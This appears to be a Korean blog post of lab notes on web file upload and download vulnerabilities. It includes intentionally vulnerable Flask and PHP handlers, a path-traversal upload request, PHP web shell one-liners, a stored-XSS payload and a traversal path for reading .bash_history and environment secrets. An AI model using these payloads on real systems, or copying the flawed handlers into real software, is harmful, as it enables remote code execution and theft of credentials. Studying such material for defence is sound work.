파일 취약성 개요
서론
많은 현대 웹 서비스는 글만으로 전달하기 힘든 정보를 전달할 수 있도록 이미지나 문서 등의 파일 업로드 기능을 제공합니다. 예를 들어, 이용자 간에 사진을 공유할 수 있는 이미지 공유 서비스들은 이미지 파일을 업로드할 수 있는 기능과 업로드된 이미지를 다른 이용자들이 다운로드할 수 있도록 하는 기능을 갖추고 있습니다.
이러한 파일 공유 서비스를 개발할 때, 이용자가 업로드한 파일을 데이터베이스에 저장하는 것보다는 서버의 파일 시스템에 저장하는 것이 개발하기 쉽고, 관리 효율도 높습니다. 그러나 반대로, 임의 파일이 다운로드되는 취약점이나, 악성 웹셸 파일을 업로드하여 임의 코드를 실행할 수 있는 취약점을 발생시키기도 합니다.
파일 업로드와 관련해서 발생하는 취약점은 파일 업로드 취약점(File Upload Vulnerability)라고 하며, 반대로 내려 받을 때 발생하는 취약점은 파일 다운로드 취약점(File Download Vulnerability)라고 합니다. 이번 강의에서는 이 둘 모두를 포함하여, 파일과 관련된 취약점을 종합적으로 알아보겠습니다.
파일 업로드 취약점 (File Upload Vulnerability)
공격자가 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점입니다. 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생합니다. 원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있습니다.
파일 다운로드 취약점 (File Download Vulnerability)
웹 서비스의 파일 시스템에 존재하는 파일을 다운로드하는 과정에서 발생하는 보안 취약점입니다. 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드할 수 있습니다. 설정 파일, 패스워드 파일, 데이터베이스 백업본 등을 다운로드하여 민감한 정보를 탈취할 수 있고 2차 공격을 수행할 수 있습니다.
Path Traversal 🛣️
파일 업로드 취약점(File Upload Vulnerability)은 웹 서비스를 통해 이용자의 파일을 서버의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점이며, 이용자가 업로드될 파일의 이름을 임의로 정할 수 있을 때 발생합니다. 파일 이름에 이용자가 입력한 문자열을 그대로 사용하거나, 이용자의 이메일, 닉네임 등을 포함시키는 등의 소스 코드 패턴이 이러한 취약점을 발생시킬 수 있습니다.
파일 업로드 취약점은 크게 Path Traversal과 악성 파일 업로드로 분류됩니다. 파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉터리에만 업로드를 허용합니다. 만약 이러한 제한이 없다면, 악의적인 이용자가 웹 서버의 소스 코드나 서버에 있는 중요 시스템 파일을 덮어쓸 위험이 있습니다. Path Traversal 취약점은 업로드에 존재하는 이러한 제약을 우회하여, 임의 디렉터리에 파일을 업로드할 수 있는 취약점을 말합니다.
취약한 코드 예시 (Figure 1)
from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
# 취약점: 파일 이름을 그대로 사용
f.save("./uploads/" + f.filename)
return 'Upload Success'
else:
return """
<form action="/fileUpload" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit"/>
</form>
"""
if __name__ == '__main__':
app.run()
이 코드는 사용자가 파일을 업로드하면 ./uploads/ 디렉터리에 저장합니다. 그러나 사용자가 파일 이름에 ../ 등을 포함할 경우, 상위 디렉터리에 파일이 저장될 수 있습니다.
정상적인 요청 (Figure 2) http요청
POST /fileUpload HTTP/1.1
Host: storage.dreamhack.io
Origin: https://storage.dreamhack.io
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20y3eoLVSNf9Ns5i
------WebKitFormBoundary20y3eoLVSNf9Ns5i
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
upload test !
------WebKitFormBoundary20y3eoLVSNf9Ns5i--
이 요청은 파일 이름 test.txt로 ./uploads/ 디렉터리에 저장됩니다.
서버 파일 시스템 확인 (Figure 3)
$ ls -lR
-rw-r--r-- 1 dreamhack staff 461 1 30 21:52 app.py
drwxr-xr-x 3 dreamhack staff 96 1 30 21:31 uploads
./uploads:
total 8
-rw-r--r-- 1 dreamhack staff 13 1 30 21:31 test.txt
악의적인 요청 (Figure 4) http 요청
Figure 4는 filename 필드를 변조해서 Path Traversal을 수행하는 HTTP 요청입니다. filename에 ..이 포함되어 있으므로 상위 디렉터리에 파일이 저장됩니다.
POST /fileUpload HTTP/1.1
Host: storage.dreamhack.io
Origin: https://storage.dreamhack.io
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20y3eoLVSNf9Ns5i
------WebKitFormBoundary20y3eoLVSNf9Ns5i
Content-Disposition: form-data; name="file"; filename="../hack.py"
Content-Type: text/plain
[malicious file content]
------WebKitFormBoundary20y3eoLVSNf9Ns5i--
공격을 당한 서버 파일 시스템 확인 (Figure 5)
$ ls -lR
-rw-r--r-- 1 dreamhack staff 461 1 30 21:52 app.py
-rw-r--r-- 1 dreamhack staff 431 1 30 22:12 hack.py
drwxr-xr-x 3 dreamhack staff 96 1 30 21:31 uploads
./uploads:
total 8
-rw-r--r-- 1 dreamhack staff 13 1 30 21:31 test.txt
악성 파일 업로드
악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점을 말합니다. 이러한 취약점은 공격자가 악성 스크립트나 파일을 서버에 업로드하고, 이를 통해 서버에서 임의의 코드를 실행할 수 있도록 합니다.
웹 셸
웹 셸(Web Shell)은 원격에서 서버에 명령을 실행할 수 있도록 해주는 악성 스크립트입니다. 웹 서버는 .php, .jsp, .asp와 같은 확장자의 파일을 Common Gateway Interface(CGI)로 실행하고, 그 결과를 이용자에게 반환합니다.
Common Gateway Interface(CGI)는 웹 서버와 외부 프로그램 간의 인터페이스를 제공하는 표준 프로토콜입니다.
CGI는 동적인 웹 콘텐츠를 생성하기 위해 웹 서버가 외부 프로그램(예: 스크립트나 애플리케이션)을 실행할 수 있도록 합니다. CGI는 주로 Perl, Python, PHP, Bash와 같은 언어로 작성된 스크립트를 실행하는 데 사용됩니다.
많은 웹 서버들이 php파일에 대해 위와 같은 핸들링을 지원합니다. 따라서 공격자가 임의의 php 소스 파일을 .php 확장자로 업로드하고, GET 요청을 보낼 수 있다면 CGI에 의해 해당 코드가 실행되도록 할 수 있습니다.
Apache 설정 파일 예시 (Figure 6)
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<php> 이 설정은 Apache 웹 서버가 특정 확장자(.php, .php3, .phtml 등)를 가진 파일을 PHP 엔진(x-httpd-php)으로 처리하도록 지시합니다. 즉, 이러한 파일들은 서버에서 PHP 코드로 실행됩니다.
설명:
- <FilesMatch ".+\.ph(p[3457]?|t|tml)$">: 정규표현식을 사용하여 파일 확장자를 지정합니다. .php, .php3, .phtml 등의 파일 확장자를 매칭합니다.
- SetHandler application/x-httpd-php: 매칭된 파일 확장자를 가진 파일들을 PHP 엔진으로 처리하도록 설정합니다.
공격 시나리오
1. 공격자는 악성 PHP 파일을 작성합니다. 예를 들어, webshell.php라는 파일에 다음과 같은 코드를 넣을 수 있습니다:
<?php system($_GET['cmd']); ?>
이 스크립트는 URL 파라미터 cmd로 전달된 명령어를 서버에서 실행합니다.
2. 공격자는 이 파일을 서버에 업로드합니다. 만약 파일 업로드 검사가 제대로 이루어지지 않는다면, 이 파일은 서버에 저장됩니다.
3. 공격자는 업로드된 파일에 접근하여 임의의 명령어를 실행할 수 있습니다. 예를 들어, 'https://example.com/uploads/webshell.php?cmd=ls' 와 같이 요청하면 서버의 디렉토리 목록을 확인할 수 있습니다.
악의적인 웹 리소스
웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리합니다. 공격자는 이를 악용하여 악성 파일을 서버에 업로드하고, 이를 통해 Cross-Site Scripting(XSS) 공격을 수행할 수 있습니다.
공격 시나리오
1. 공격자는 악의적인 HTML 파일(exploit.html)을 작성합니다. 이 파일에 다음과 같은 악성 스크립트를 포함시킬 수 있습니다:
html
<script>alert('XSS Attack!');</script>
2. 공격자는 이 파일을 서버에 업로드합니다. 만약 파일 업로드 검사가 제대로 이루어지지 않는다면, 이 파일은 서버에 저장됩니다.
3. 공격자는 업로드된 파일의 URL에 접근하도록 유도합니다. 예를 들어, https://example.com/uploads/exploit.html와 같이 접근하면, 브라우저는 이를 HTML로 해석하고 악성 스크립트를 실행합니다.
💡 Common Gateway Interface(CGI)란?
CGI(Common Gateway Interface)는 웹 서버가 외부 프로그램을 실행하여 동적인 웹 콘텐츠를 생성할 수 있도록 하는 표준 프로토콜입니다. 정적인 웹 페이지와 달리, CGI는 동적인 콘텐츠 처리를 위해 웹 서버와 외부 프로그램(예: PHP, Python, Perl 등) 사이의 인터페이스를 제공합니다.
역할과 작동 방식:
- 역할: 웹 서버는 사용자의 요청을 받아 CGI 스크립트를 실행하고, 그 결과를 사용자에게 반환합니다.
- 작동 방식:
- 사용자가 웹 서버에 요청을 보냅니다.
- 웹 서버는 요청을 받아 CGI 스크립트를 실행합니다.
- CGI 스크립트는 요청을 처리하고 결과를 생성합니다.
- 웹 서버는 CGI 스크립트의 출력을 사용자에게 반환합니다.
예시: PHP 파일이 업로드되고 실행되는 과정은 CGI의 대표적인 예입니다. 웹 서버는 PHP 파일을 PHP 엔진을 통해 실행하고, 그 결과를 사용자에게 반환합니다.
악성 파일 업로드 실습
Figure 7은 오른쪽 모듈의 구성 코드입니다. 파일 이름을 임의의 파일명+"."+확장자으로 생성하므로, 앞서 학습한 Path Traversal을 이용한 공격은 불가능합니다. 하지만, 이용자가 올린 확장자를 별다른 검사없이 사용하므로 php 웹셸을 업로드할 수 있습니다. 그리고 html파일을 업로드하여 Stored XSS를 수행할 수도 있습니다.
웹셸과 악성 html 파일을 업로드하고, 이를 불러와 실행해보세요.
<?php
if(!empty($_FILES['file'])){
$filename = "user_uploaded_file_".time();
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$path = "./uploads/" . $filename . "." . $ext;
if(move_uploaded_file($_FILES['file']['tmp_name'], $path)) {
return true; // upload success
} else {
return false; // upload fail
}
}
?>
1. Stored XSS 시도 - 파일이름 : StoredXSS.html 파일 내용 :
<script>alert('XSS Attack!');</script>
2. 웹 셸 업로드 - 파일이름 : exploit.php 파일내용 :
<?php
system("ls");
system($_GET[x]);
?>
File Download Vulnerability
파일 다운로드 취약점(File Download Vulnerability)은 웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려 받는 과정에서 발생하는 보안 취약점이며, 이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생합니다.
웹 서비스는 이용자가 업로드한 파일을 다운로드 받거나 이미지를 불러올 때 특정 디렉터리에 있는 파일만 접근하도록 해야 합니다. Path Traversal을 이용한 파일 다운로드 취약점은 파일 이름을 직접 입력 받아 임의 디렉터리에 있는 파일을 다운로드 받을 수 있는 취약점을 말합니다. Figure 12는 파일 다운로드 취약점이 자주 발생하는 URL 패턴입니다. 다음 장에서 예제와 실습을 통해 파일 다운로드 취약점에 대해 자세히 알아보겠습니다.
Figure 12. 파일 다운로드 취약점이 자주 발생하는 URL 패턴
File Download Vulnerability 실습
Figure 13은 File Download Vulnerability를 실습할 수 있는 서버의 코드입니다. 환경 변수로부터 가지고 오는 Secret 값을 파일 다운로드 취약점을 이용해 획득해보세요.
# ...
Secret = os.environ("Secret")
# ...
@app.route("/download")
def download():
filename = request.args.get("filename")
content = open("./uploads/" + filename, "rb").read()
return content
# ...
프로세스의 환경 변수는 /proc/[pid]/environ, /proc/self/environ에서 확인할 수 있습니다. 만약 이용자가 프로세스를 호출하기 전에 환경 변수를 bash의 명령어로 설정했다면, .bash_history에서도 이를 알 수 있습니다.
.bash_history를 읽으면, 다음과 같이 이용자가 export 명령어로 설정한 Secret 값을 알 수 있습니다.
(예 /../../../home/dreamhack/.bash_history)
키워드 정리
파일 취약점 (File Vulnerability): 파일을 업로드하거나 다운로드 할 때 발생하는 취약점 업로드와 다운로드 과정에서 발생하는 취약점으로 구분됨.
업로드 취약점(Upload Vulnerability): 파일 업로드 기능에서 발생하는 취약점으로 CGI로 실행되는 파일을 업로드해 시스템에 임의 명령어를 실행하거나, HTML로 해석되는 파일을 업로드하여 Cross-Site-Scripting(XSS) 공격을 수행할 수 있음. Path Traversal 취약점과 연계하여 업로드 폴더를 벗어난 곳에 공격자의 파일을 저장하는 공격도 있음.
다운로드 취약점(Download Vulnerability): 다운로드 기능에서 발생하는 취약점으로 Path Traversal 취약점과 함께 사용됨. 서버 파일 시스템에 존재하는 임의 파일을 다운로드하여 민감 정보가 포함된 파일, 예를 들어 데이터베이스 백업본, 외부 API 서버의 비밀키 등이 포함된 설정 파일등을 탈취할 수 있음.
'컴퓨터보안 > 웹서버' 카테고리의 다른 글
File Vulnerability (0) | 2024.05.28 |
---|---|
파일 취약성 관련 백그라운드 (0) | 2024.05.28 |
서버 관련 정리(간단히) (0) | 2024.05.23 |
서버 관련 정리(자세히) (0) | 2024.05.23 |
커맨드 인젝션 (Command Injection) (0) | 2024.05.21 |